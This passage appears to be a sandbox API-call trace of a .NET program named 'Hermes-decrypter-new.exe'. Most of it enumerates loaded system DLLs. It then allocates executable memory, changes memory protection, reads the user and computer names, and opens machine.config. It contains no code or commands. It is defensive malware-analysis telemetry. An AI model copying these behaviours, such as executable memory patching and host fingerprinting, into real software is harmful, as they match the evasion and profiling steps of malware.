lpFilename="C:\\WINDOWS\\System32\\msvcp_win.dll" (normalized: "c:\\windows\\system32\\msvcp_win.dll")) returned 0x21 [0141.706] CoTaskMemFree (pv=0xef0d18) [0141.706] GetModuleInformation (in: hProcess=0xec, hModule=0x74b70000, lpmodinfo=0x2f2f41c, cb=0xc | out: lpmodinfo=0x2f2f41c*(lpBaseOfDll=0x74b70000, SizeOfImage=0x13c000, EntryPoint=0x74b9b3d0)) returned 1 [0141.706] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.706] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x74b70000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0141.707] CoTaskMemFree (pv=0xef0d18) [0141.707] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.707] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x74b70000, lpFilename=0xef0d18, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\USER32.dll" (normalized: "c:\\windows\\system32\\user32.dll")) returned 0x1e [0141.707] CoTaskMemFree (pv=0xef0d18) [0141.707] GetModuleInformation (in: hProcess=0xec, hModule=0x74ac0000, lpmodinfo=0x2f315b4, cb=0xc | out: lpmodinfo=0x2f315b4*(lpBaseOfDll=0x74ac0000, SizeOfImage=0x16000, EntryPoint=0x0)) returned 1 [0141.707] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.707] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x74ac0000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="win32u.dll") returned 0xa [0141.708] CoTaskMemFree (pv=0xef0d18) [0141.708] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.708] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x74ac0000, lpFilename=0xef0d18, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\win32u.dll" (normalized: "c:\\windows\\system32\\win32u.dll")) returned 0x1e [0141.708] CoTaskMemFree (pv=0xef0d18) [0141.708] GetModuleInformation (in: hProcess=0xec, hModule=0x75bb0000, lpmodinfo=0x2f336c0, cb=0xc | out: lpmodinfo=0x2f336c0*(lpBaseOfDll=0x75bb0000, SizeOfImage=0x96000, EntryPoint=0x75be8f60)) returned 1 [0141.708] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.708] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x75bb0000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0141.708] CoTaskMemFree (pv=0xef0d18) [0141.708] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.708] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x75bb0000, lpFilename=0xef0d18, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\OLEAUT32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")) returned 0x20 [0141.708] CoTaskMemFree (pv=0xef0d18) [0141.708] GetModuleInformation (in: hProcess=0xec, hModule=0x742b0000, lpmodinfo=0x2f357d4, cb=0xc | out: lpmodinfo=0x2f357d4*(lpBaseOfDll=0x742b0000, SizeOfImage=0xf000, EntryPoint=0x742b2bd0)) returned 1 [0141.709] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.709] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x742b0000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="WTSAPI32.dll") returned 0xc [0141.709] CoTaskMemFree (pv=0xef0d18) [0141.709] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.709] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x742b0000, lpFilename=0xef0d18, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\WTSAPI32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")) returned 0x20 [0141.709] CoTaskMemFree (pv=0xef0d18) [0141.709] GetModuleInformation (in: hProcess=0xec, hModule=0x77a30000, lpmodinfo=0x2f378e8, cb=0xc | out: lpmodinfo=0x2f378e8*(lpBaseOfDll=0x77a30000, SizeOfImage=0xbd000, EntryPoint=0x77a655e0)) returned 1 [0141.709] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.709] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x77a30000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0141.709] CoTaskMemFree (pv=0xef0d18) [0141.709] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.709] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x77a30000, lpFilename=0xef0d18, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")) returned 0x1e [0141.709] CoTaskMemFree (pv=0xef0d18) [0141.709] GetModuleInformation (in: hProcess=0xec, hModule=0x74e20000, lpmodinfo=0x2f399f4, cb=0xc | out: lpmodinfo=0x2f399f4*(lpBaseOfDll=0x74e20000, SizeOfImage=0x25000, EntryPoint=0x74e247d0)) returned 1 [0141.710] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.710] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x74e20000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0141.710] CoTaskMemFree (pv=0xef0d18) [0141.710] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.710] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x74e20000, lpFilename=0xef0d18, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0141.710] CoTaskMemFree (pv=0xef0d18) [0141.710] GetModuleInformation (in: hProcess=0xec, hModule=0x75ba0000, lpmodinfo=0x2f3baf8, cb=0xc | out: lpmodinfo=0x2f3baf8*(lpBaseOfDll=0x75ba0000, SizeOfImage=0xe000, EntryPoint=0x75ba3e30)) returned 1 [0141.710] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.710] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x75ba0000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="kernel.appcore.dll") returned 0x12 [0141.710] CoTaskMemFree (pv=0xef0d18) [0141.710] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.711] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x75ba0000, lpFilename=0xef0d18, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll")) returned 0x26 [0141.711] CoTaskMemFree (pv=0xef0d18) [0141.711] GetModuleInformation (in: hProcess=0xec, hModule=0x74550000, lpmodinfo=0x2f3dc24, cb=0xc | out: lpmodinfo=0x2f3dc24*(lpBaseOfDll=0x74550000, SizeOfImage=0x78000, EntryPoint=0x745885b0)) returned 1 [0141.711] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.711] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x74550000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0141.711] CoTaskMemFree (pv=0xef0d18) [0141.711] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.711] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x74550000, lpFilename=0xef0d18, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0141.711] CoTaskMemFree (pv=0xef0d18) [0141.711] GetModuleInformation (in: hProcess=0xec, hModule=0x744c0000, lpmodinfo=0x2f3fd30, cb=0xc | out: lpmodinfo=0x2f3fd30*(lpBaseOfDll=0x744c0000, SizeOfImage=0x55000, EntryPoint=0x744f0a30)) returned 1 [0141.711] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.712] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x744c0000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="mscoree.dll") returned 0xb [0141.712] CoTaskMemFree (pv=0xef0d18) [0141.712] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.712] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x744c0000, lpFilename=0xef0d18, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0141.712] CoTaskMemFree (pv=0xef0d18) [0141.712] GetModuleInformation (in: hProcess=0xec, hModule=0x761b0000, lpmodinfo=0x2f41e3c, cb=0xc | out: lpmodinfo=0x2f41e3c*(lpBaseOfDll=0x761b0000, SizeOfImage=0x77000, EntryPoint=0x761ce5b0)) returned 1 [0141.712] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.712] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x761b0000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0141.712] CoTaskMemFree (pv=0xef0d18) [0141.713] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.713] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x761b0000, lpFilename=0xef0d18, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\ADVAPI32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")) returned 0x20 [0141.713] CoTaskMemFree (pv=0xef0d18) [0141.713] GetModuleInformation (in: hProcess=0xec, hModule=0x74440000, lpmodinfo=0x2f43f50, cb=0xc | out: lpmodinfo=0x2f43f50*(lpBaseOfDll=0x74440000, SizeOfImage=0x7d000, EntryPoint=0x74443c80)) returned 1 [0141.713] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.713] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x74440000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0141.713] CoTaskMemFree (pv=0xef0d18) [0141.713] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.713] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x74440000, lpFilename=0xef0d18, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0141.713] CoTaskMemFree (pv=0xef0d18) [0141.713] GetModuleInformation (in: hProcess=0xec, hModule=0x73bc0000, lpmodinfo=0x2f46098, cb=0xc | out: lpmodinfo=0x2f46098*(lpBaseOfDll=0x73bc0000, SizeOfImage=0x6e6000, EntryPoint=0x73bd83d0)) returned 1 [0141.714] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.714] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x73bc0000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="clr.dll") returned 0x7 [0141.714] CoTaskMemFree (pv=0xef0d18) [0141.714] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.714] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x73bc0000, lpFilename=0xef0d18, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")) returned 0x35 [0141.714] CoTaskMemFree (pv=0xef0d18) [0141.714] GetModuleInformation (in: hProcess=0xec, hModule=0x75f60000, lpmodinfo=0x2f481c8, cb=0xc | out: lpmodinfo=0x2f481c8*(lpBaseOfDll=0x75f60000, SizeOfImage=0x45000, EntryPoint=0x75f79260)) returned 1 [0141.714] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.714] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x75f60000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0141.714] CoTaskMemFree (pv=0xef0d18) [0141.714] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.714] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x75f60000, lpFilename=0xef0d18, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\SHLWAPI.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")) returned 0x1f [0141.715] CoTaskMemFree (pv=0xef0d18) [0141.715] GetModuleInformation (in: hProcess=0xec, hModule=0x74340000, lpmodinfo=0x2f4a2d4, cb=0xc | out: lpmodinfo=0x2f4a2d4*(lpBaseOfDll=0x74340000, SizeOfImage=0xf5000, EntryPoint=0x74394180)) returned 1 [0141.715] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.715] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x74340000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0141.715] CoTaskMemFree (pv=0xef0d18) [0141.715] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.715] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x74340000, lpFilename=0xef0d18, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\MSVCR120_CLR0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll")) returned 0x28 [0141.715] CoTaskMemFree (pv=0xef0d18) [0141.715] GetModuleInformation (in: hProcess=0xec, hModule=0x72830000, lpmodinfo=0x2f4c408, cb=0xc | out: lpmodinfo=0x2f4c408*(lpBaseOfDll=0x72830000, SizeOfImage=0x138d000, EntryPoint=0x0)) returned 1 [0141.715] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.715] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x72830000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0141.716] CoTaskMemFree (pv=0xef0d18) [0141.716] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.716] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x72830000, lpFilename=0xef0d18, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\f12799647dc4f4abd2f0f17790337f04\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\f12799647dc4f4abd2f0f17790337f04\\mscorlib.ni.dll")) returned 0x68 [0141.716] CoTaskMemFree (pv=0xef0d18) [0141.716] GetModuleInformation (in: hProcess=0xec, hModule=0x74320000, lpmodinfo=0x2f4e5b0, cb=0xc | out: lpmodinfo=0x2f4e5b0*(lpBaseOfDll=0x74320000, SizeOfImage=0x13000, EntryPoint=0x74326c40)) returned 1 [0141.716] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.716] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x74320000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0141.716] CoTaskMemFree (pv=0xef0d18) [0141.716] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.716] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x74320000, lpFilename=0xef0d18, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0141.716] CoTaskMemFree (pv=0xef0d18) [0141.716] GetModuleInformation (in: hProcess=0xec, hModule=0x742f0000, lpmodinfo=0x2f506bc, cb=0xc | out: lpmodinfo=0x2f506bc*(lpBaseOfDll=0x742f0000, SizeOfImage=0x2f000, EntryPoint=0x742fc000)) returned 1 [0141.717] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.717] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x742f0000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0141.717] CoTaskMemFree (pv=0xef0d18) [0141.717] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.717] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x742f0000, lpFilename=0xef0d18, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0141.717] CoTaskMemFree (pv=0xef0d18) [0141.717] GetModuleInformation (in: hProcess=0xec, hModule=0x742d0000, lpmodinfo=0x2f528d4, cb=0xc | out: lpmodinfo=0x2f528d4*(lpBaseOfDll=0x742d0000, SizeOfImage=0x18000, EntryPoint=0x742d8f30)) returned 1 [0141.717] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.718] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x742d0000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="bcrypt.dll") returned 0xa [0141.718] CoTaskMemFree (pv=0xef0d18) [0141.718] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.718] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x742d0000, lpFilename=0xef0d18, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")) returned 0x1e [0141.718] CoTaskMemFree (pv=0xef0d18) [0141.718] GetModuleInformation (in: hProcess=0xec, hModule=0x727b0000, lpmodinfo=0x2f549e0, cb=0xc | out: lpmodinfo=0x2f549e0*(lpBaseOfDll=0x727b0000, SizeOfImage=0x80000, EntryPoint=0x727b1180)) returned 1 [0141.718] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.718] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x727b0000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="clrjit.dll") returned 0xa [0141.718] CoTaskMemFree (pv=0xef0d18) [0141.718] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.718] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x727b0000, lpFilename=0xef0d18, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0141.719] CoTaskMemFree (pv=0xef0d18) [0141.719] GetModuleInformation (in: hProcess=0xec, hModule=0x71dd0000, lpmodinfo=0x2f56b20, cb=0xc | out: lpmodinfo=0x2f56b20*(lpBaseOfDll=0x71dd0000, SizeOfImage=0x9df000, EntryPoint=0x0)) returned 1 [0141.719] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.719] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x71dd0000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0141.719] CoTaskMemFree (pv=0xef0d18) [0141.719] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.719] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x71dd0000, lpFilename=0xef0d18, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\assembly\\NativeImages_v4.0.30319_32\\System\\fcfb8bac8ea9a0e69d72c350b22f8e3f\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\fcfb8bac8ea9a0e69d72c350b22f8e3f\\system.ni.dll")) returned 0x64 [0141.719] CoTaskMemFree (pv=0xef0d18) [0141.719] GetModuleInformation (in: hProcess=0xec, hModule=0x71c30000, lpmodinfo=0x2f58cbc, cb=0xc | out: lpmodinfo=0x2f58cbc*(lpBaseOfDll=0x71c30000, SizeOfImage=0x194000, EntryPoint=0x0)) returned 1 [0141.719] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.719] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x71c30000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0141.719] CoTaskMemFree (pv=0xef0d18) [0141.720] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.720] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x71c30000, lpFilename=0xef0d18, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\5b307e2b9719b21749a8c73127ab5f45\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\5b307e2b9719b21749a8c73127ab5f45\\system.drawing.ni.dll")) returned 0x74 [0141.720] CoTaskMemFree (pv=0xef0d18) [0141.720] GetModuleInformation (in: hProcess=0xec, hModule=0x70f30000, lpmodinfo=0x2f5ae88, cb=0xc | out: lpmodinfo=0x2f5ae88*(lpBaseOfDll=0x70f30000, SizeOfImage=0xcf2000, EntryPoint=0x0)) returned 1 [0141.720] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.720] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x70f30000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0141.720] CoTaskMemFree (pv=0xef0d18) [0141.720] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.720] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x70f30000, lpFilename=0xef0d18, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\02d3b6022cc1ee466eb660dedcff59aa\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\02d3b6022cc1ee466eb660dedcff59aa\\system.windows.forms.ni.dll")) returned 0x80 [0141.720] CoTaskMemFree (pv=0xef0d18) [0141.720] GetModuleInformation (in: hProcess=0xec, hModule=0x76180000, lpmodinfo=0x2f5d078, cb=0xc | out: lpmodinfo=0x2f5d078*(lpBaseOfDll=0x76180000, SizeOfImage=0x6000, EntryPoint=0x76181460)) returned 1 [0141.721] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.721] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x76180000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0141.721] CoTaskMemFree (pv=0xef0d18) [0141.721] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.721] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x76180000, lpFilename=0xef0d18, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll")) returned 0x1d [0141.721] CoTaskMemFree (pv=0xef0d18) [0141.721] GetModuleInformation (in: hProcess=0xec, hModule=0x742c0000, lpmodinfo=0x2f5f17c, cb=0xc | out: lpmodinfo=0x2f5f17c*(lpBaseOfDll=0x742c0000, SizeOfImage=0x8000, EntryPoint=0x742c17c0)) returned 1 [0141.721] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.721] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x742c0000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="version.dll") returned 0xb [0141.721] CoTaskMemFree (pv=0xef0d18) [0141.721] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.721] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x742c0000, lpFilename=0xef0d18, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0141.722] CoTaskMemFree (pv=0xef0d18) [0141.722] CloseHandle (hObject=0xec) returned 1 [0141.813] CoTaskMemAlloc (cb=0x1) returned 0xee9878 [0141.880] VirtualAlloc (lpAddress=0x0, dwSize=0x1e, flAllocationType=0x1000, flProtect=0x40) returned 0x5370000 [0141.880] VirtualProtect (in: lpAddress=0x72821410, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x19e478 | out: lpflOldProtect=0x19e478*=0x2) returned 1 [0141.881] GetCurrentProcess () returned 0xffffffff [0141.913] CoTaskMemAlloc (cb=0x6) returned 0xee97c8 [0141.915] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", nBufferLength=0x105, lpBuffer=0x19e930, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", lpFilePart=0x0) returned 0x77 [0141.957] IsAppThemed () returned 0x1 [0141.959] GetCurrentProcess () returned 0xffffffff [0141.960] GetCurrentProcess () returned 0xffffffff [0141.960] CoTaskMemAlloc (cb=0xf0) returned 0xef1070 [0141.960] CreateActCtxA (pActCtx=0x19ee80) returned 0xef1264 [0141.966] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc16a [0141.966] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLTYPE") returned 0xc169 [0141.966] CoTaskMemAlloc (cb=0x6) returned 0xee9888 [0141.973] CoTaskMemAlloc (cb=0xda) returned 0xef1070 [0141.978] CoTaskMemAlloc (cb=0x6) returned 0xee97d8 [0141.978] CoTaskMemAlloc (cb=0x6) returned 0xee98a8 [0141.979] CoTaskMemAlloc (cb=0xb) returned 0xee9560 [0141.980] CoTaskMemAlloc (cb=0xb) returned 0xee9608 [0141.982] GetUserNameW (in: lpBuffer=0x19ec80, pcbBuffer=0x19eef8 | out: lpBuffer="FD1HVy", pcbBuffer=0x19eef8) returned 1 [0141.982] GetCurrentProcess () returned 0xffffffff [0141.983] GetCurrentProcess () returned 0xffffffff [0141.986] CoTaskMemAlloc (cb=0xb) returned 0xee94e8 [0141.988] GetComputerNameW (in: lpBuffer=0x19ec80, nSize=0x19eef8 | out: lpBuffer="NQDPDE", nSize=0x19eef8) returned 1 [0141.989] CoTaskMemAlloc (cb=0xe) returned 0xee9518 [0142.249] GetFullPathNameW (in: lpFileName="C:\\FD1HVy\\Hermes-decrypter-new.exe.config", nBufferLength=0x105, lpBuffer=0x19e758, lpFilePart=0x0 | out: lpBuffer="C:\\FD1HVy\\Hermes-decrypter-new.exe.config", lpFilePart=0x0) returned 0x29 [0142.250] CoTaskMemAlloc (cb=0x20c) returned 0xef0308 [0142.250] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xef0308, nSize=0x104 | out: lpFilename="C:\\FD1HVy\\Hermes-decrypter-new.exe" (normalized: "c:\\fd1hvy\\hermes-decrypter-new.exe")) returned 0x22 [0142.250] CoTaskMemFree (pv=0xef0308) [0142.251] GetFullPathNameW (in: lpFileName="C:\\FD1HVy\\Hermes-decrypter-new.exe", nBufferLength=0x105, lpBuffer=0x19e77c, lpFilePart=0x0 | out: lpBuffer="C:\\FD1HVy\\Hermes-decrypter-new.exe", lpFilePart=0x0) returned 0x22 [0142.394] GetCurrentProcess () returned 0xffffffff [0142.395] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x19eac0 | out: TokenHandle=0x19eac0*=0x2fc) returned 1 [0142.396] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x19e54c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0142.397] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x19eab8 | out: lpFileInformation=0x19eab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56a29ff, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97df7583, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97df7583, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0142.398] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x19eac0 | out: lpFileInformation=0x19eac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56a29ff, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97df7583, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97df7583, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0142.399] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x300 [0142.399] GetFileType (hFile=0x300) returned 0x1 [0142.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e9f4) returned 1 [0142.400] GetFileType (hFile=0x300) returned 0x1 [0142.454] GetFileSize (in: hFile=0x300, lpFileSizeHigh=0x19eab4 | out: 